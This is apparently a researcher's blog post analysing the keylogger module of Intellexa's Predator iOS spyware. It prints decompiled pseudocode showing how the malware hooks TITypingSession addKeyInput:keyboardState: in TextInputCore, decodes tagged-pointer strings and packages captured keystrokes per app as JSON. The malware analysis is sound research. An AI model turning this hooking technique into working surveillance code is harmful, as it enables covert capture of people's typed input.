Intellexa's Predator iOS spyware: the KeyLogger
In early December the iOS security research community got an early Christmas present: Google's recovered Intellexa Predator samples. This has been covered wonderfully in great depth from both technical & ops standpoints. I reversed the built-in key logging functionality down to 4 main functions:
__int64 __fastcall KeyLogger_init_taggedPointer(Helper::KeyLogger *this, NSString *a2, char **a3)
{
unsigned int *v4; // x0
*a3 = strdup("Returned from init");
v4 = (unsigned int *)dlsym((void *)0xFFFFFFFFFFFFFFFELL, "_NSTaggedPointerStringGetBytes");
if ( v4 )
*((_QWORD *)this + 9) = *(_QWORD *)(((unsigned __int64)&v4[1024
* (((unsigned __int64)*v4 >> 3) & 0xFFFFC
| ((unsigned __int64)*v4 >> 29) & 3)]
& 0xFFFFFFFFFFFFF000LL)
+ (((unsigned __int64)v4[1] >> 7) & 0x7FF8));
return 1;
}0x100010314 finds _NSTaggedPointerStringGetBytes to decode the NSString representations & stores @ PAC-decoded this + 0x48
__int64 __fastcall KeyLogger_execute_dispatcher(Helper::KeyLogger *this, NSString *a2, char **a3)
{
__int64 v6; // x2
const char *v7; // x3
__int64 _28; // [xsp+28h] [xbp+8h]
if ( -[NSString isEqualToString:](a2, "isEqualToString:", CFSTR("startKeyLogger")) )
{
if ( ((_28 ^ (2 * _28)) & 0x4000000000000000LL) != 0 )
__break(0xC471u);
return KeyLogger_startKeyLogger_hookInput(this, a3, v6, v7);
}
else if ( -[NSString isEqualToString:](a2, "isEqualToString:", CFSTR("stopKeyLogger"))
|| -[NSString isEqualToString:](a2, "isEqualToString:", CFSTR("getSentences")) )
{
KeyLogger_getSentences_extractJSON(this, a3);
return 1;
}
else
{
*a3 = strdup("command not found");
return 0;
}
}0x10001038c handles KeyLogger-specific command dispatch
__int64 __fastcall KeyLogger_startKeyLogger_hookInput(Helper::KeyLogger *this, char **a2, __int64 a3, const char *a4)
{
__int64 result; // x0
__int64 v7; // x21
__int64 v8; // x0
__int64 v9; // x20
_QWORD v10[3]; // [xsp+0h] [xbp-40h] BYREF
_QWORD *v11; // [xsp+18h] [xbp-28h]
result = Utils_findObjcMethod_runtime(
(Utils *)"/System/Library/PrivateFrameworks/TextInputCore.framework/TextInputCore",
"TITypingSession",
"addKeyInput:keyboardState:",
a4); // Finds the keyboard input method in iOS private framework TextInputCore
if ( result )
{
v7 = result;
result = HookerFactory_getHooker_createDMHooker(*((Helper::HookerFactory **)this + 2), "kbd");// Gets the 'kbd' hooker from HookerFactory for keyboard hooking
*((_QWORD *)this + 10) = result;
if ( result )
{
DMHooker::readLength((DMHooker *)result, *((_QWORD *)this + 9), (unsigned __int64)this + 64, 8u);
v8 = *((_QWORD *)this + 10);
v10[0] = &off_100044FF0;
v10[1] = this;
v11 = v10;
v9 = DMHooker::hookAddress(v8, v7, v10, 0);// Installs hook on TITypingSession::addKeyInput:keyboardState: method
if ( v10 == v11 )
{
(*(void (__fastcall **)(_QWORD *))(*v11 + 32LL))(v11);
if ( v9 )
{
LABEL_7:
*a2 = strdup("start");
return 1;
}
}
else
{
if ( v11 )
(*(void (**)(void))(*v11 + 40LL))();
if ( v9 )
goto LABEL_7;
}
return 0;
}
}
return result;
}0x100010488: the core KeyLogger function
bool KeyLogger_getSentences_extractJSON(KeyLogger *this, char **response)
{
std::string json = "{";
KeystrokeSession *session = this->sessionList;
bool first = true;
while (session != NULL)
{
if (!first)
json += ",";
json += "\"" + session->identifier + "\":";
json += "[[\"";
for (size_t i = 0; i < session->keystrokes.size(); i++)
{
std::string &key = session->keystrokes[i];
if (key.length() == 1 && key[0] == '"')
json += "\",\"";
else
json += key;
}
json += "\"]]";
first = false;
session = session->next;
}
json += "}";
this->clearAllSessions();
*response = strdup(json.c_str());
return true;
}
struct KeyLogger {
void *vtable;
void *factory;
void *unknown1;
void *unknown2;
KeystrokeSession *sessionList;
void *unknown3;
void *unknown4;
uint64_t decoderCopy;
uint64_t taggedPointerDecoder;
DMHooker *hooker;
};
struct KeystrokeSession {
KeystrokeSession *next;
void *unknown;
std::string identifier;
std::vector<std::string> keystrokes;
};heavily simplified 0x1000105e8 (JSON extraction) for readability with reconstructed data structures
In sum: iOS routes all keyboard input through TextInputCore. Inside this framework, a class called TITypingSession has a method addKeyInput:keyboardState: that gets called every time a key is pressed. The spyware dynamically locates this method's address in memory at runtime. Once found, it hooks it. The hook captures each keystroke and stores it in a linked list organized by app. iOS uses tagged pointers for the strings, so Predator also locates _NSTaggedPointerStringGetBytes to properly decode the captured keystrokes.
I've also come across some interesting additional details:
DMHooker::hookAddresshas a 50 μs delay to prevent race conditions (0x10003c0dc)- Corellium runtime detection (anti-analysis), while present, is a stub that returns 0 in this build (
0x100005bb8) - Camouflage under
SOSAccountTrustClassicfor helpers & looping related to cleanup on shutdown (0x10000828c,0x10000d734,0x10000d7a0,0x10000f318) SearchAddressBookOperationMatchclass is present but not used (0x10002a96c)